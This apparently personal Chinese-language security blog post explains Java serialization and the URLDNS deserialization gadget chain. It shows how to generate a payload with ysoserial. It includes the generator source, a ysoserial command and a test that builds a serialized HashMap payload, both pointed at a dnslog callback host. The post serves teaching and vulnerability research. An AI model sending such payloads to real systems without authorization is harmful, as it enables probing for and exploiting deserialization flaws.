Java反序列化原理和URLDNS反序列化分析

Java反序列化漏洞的原理。

Java序列化和反序列化

Java序列化是将Java的数据和对象转换为字节流,反序列化则是将序列化后的字节流恢复为数据和对象。

如果想要序列化某个对象,则必须让对象所属的类机器属性是可序列化的,即必须实现如下两个接口之一:

  • Serializable
  • Externalizable

序列化可以使用ObjectOutputStreamwriteObject方法来完成
反序列化可以使用ObjectInputStreamreadObject方法来完成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 序列化
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream);
objectOutputStream.writeObject(new User()); // 序列化操作
objectOutputStream.flush();
objectOutputStream.close();
System.out.println(outputStream.toString());

// 反序列化
byte[] in = outputStream.toByteArray();
ByteArrayInputStream inputStream = new ByteArrayInputStream(in);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
Object o = objectInputStream.readObject(); // 反序列化操作
objectInputStream.close();
System.out.println(o);

在反序列化的时候,有如下要求:

  1. 被反序列化的类必须存在。
  2. serialVersionUID值必须一致。serialVersionUID必须是public static final long

除此之外,反序列化的时候是不会调用类的构造方法的。

Java在序列化时一个对象,将会调用这个对象中的writeObject方法,参数类型是ObjectOutputStream,因此可以通过类重写writeObject方法来自定义序列化。同理,反序列化时,可以通过类重写readObject方法来自定义反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class User implements Serializable {
int age;
private String name;
public static final long serialVersionUID = 5454545454L;

private void writeObject(ObjectOutputStream oos) throws IOException {
oos.defaultWriteObject(); // 默认的序列化方式
oos.writeObject("hello world");
}

@Serial
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject(); // 默认的反序列化方式
String message = (String) ois.readObject();
System.out.println(message);
}
}

ysoserial工具

ysoserial是一个反序列化payload生成工具,它可以让用户根据自己选择的利用链,生成反序列化利用数据,通过将这些数据发送给用户,从而执行用户预先定义的命令。

ysoserial工具的用法如下:

1
java -jar ysoserial-all.jar [payload] '[command]'

例如生成URLDNS的payload:

1
java -jar ysoserial-all.jar URLDNS http://urldns.4f4e4172.dns.1433.eu.org > urldns.txt

需要注意的是,windows不能在powershell中去执行,会输出错误的payload,要在cmd中去执行。

在生成了payload之后,进行如下测试:

1
2
3
4
5
6
7
8
@Test
public void test1() throws Exception {
FileInputStream inputStream = new FileInputStream("urldns.txt");
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
Object o = objectInputStream.readObject();
objectInputStream.close();

}

执行即可发现进行了dns解析,dnslog平台有回显。

URLDNS反序列化分析

URLDNS是ysoserial中的一个利用链,其payload在生成时可以发起dns解析,通常用于检测是否存在反序列化漏洞,整个调用链使用Java内置的类构造,对第三方库没有依赖。

因为URLDNS调用链简单,所以很适合用来入门学习Java反序列化。

以下是ysoserial生成URLDNSpayload的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
Reflections.setFieldValue(u, "hashCode", -1);
return ht;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}

/**
* 重写SilentURLStreamHandler类是为了避免创建URL对象的时候发出DNS请求
*/
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}

ysoserial会调用getObject方法获得Payload,这个方法返回的是一个对象,这个对象就是最后将被序列化的对象,在这里getObject方法返回一个HashMap对象。

因此,反序列化的时候就是调用的HashMapreadObject方法,其代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
@java.io.Serial
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " + loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " + mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int)ft : Integer.MAX_VALUE);

// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

根据ysoserial生成URLDNSpayload的代码中的注释,During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered,可以知道触发点在于readObject中的最后一行代码,在这里下断点,其中的key是URL对象

跟进hash函数,其会调用key的hashCode方法

继续跟进,由于URL对象的hashCode被设置为了-1,这里使用handler.hashCode对其重新计算。这里的handler是URLStreamHandler的实现子类

继续跟进,这里调用了一个getHostAddress方法,参数是最开始的URL对象

进入getHostAddress方法,可以看到调用了InetAddress.getByName方法,dns请求便是在此发出的。

因此,整个调用链为:

1
2
3
4
5
6
HashMap.readObject()
HashMap.hash()
URL.hashCode()
URLStreamHandler.hashCode()
URLStreamHandler.getHostAddress()
InetAddress.getByName()

总观整个调用链,要到最后的InetAddress.getByName()方法,需要如下条件:

  1. HashMap中元素的key需要是URL对象;
  2. URl对象的hashCode属性需要是-1;

因此,就容易理解ysoserial生成payload的代码了。以下是此payload的另一种实现,原理相同:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import org.apache.commons.codec.binary.Base64;
import org.junit.Test;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;


@Test
public void test() throws Exception {
URL url = new URL("http://mydns.4f4e4172.dns.1433.eu.org");
HashMap hashMap = new HashMap<>();
hashMap.put(url, "");
Class clazz = Class.forName("java.net.URL");
Field hashCode = clazz.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url, -1);

ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream);
objectOutputStream.writeObject(hashMap);
objectOutputStream.flush();
objectOutputStream.close();

System.out.println(Base64.encodeBase64String(outputStream.toByteArray()));
}

参考

P神的《Java安全漫谈》——反序列化篇
https://javasec.org/javase/JavaDeserialization/Serialization.html

文章作者: Dar1in9
文章链接: http://dar1in9s.github.io/2022/09/14/Java/java反序列化/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Dar1in9's Blog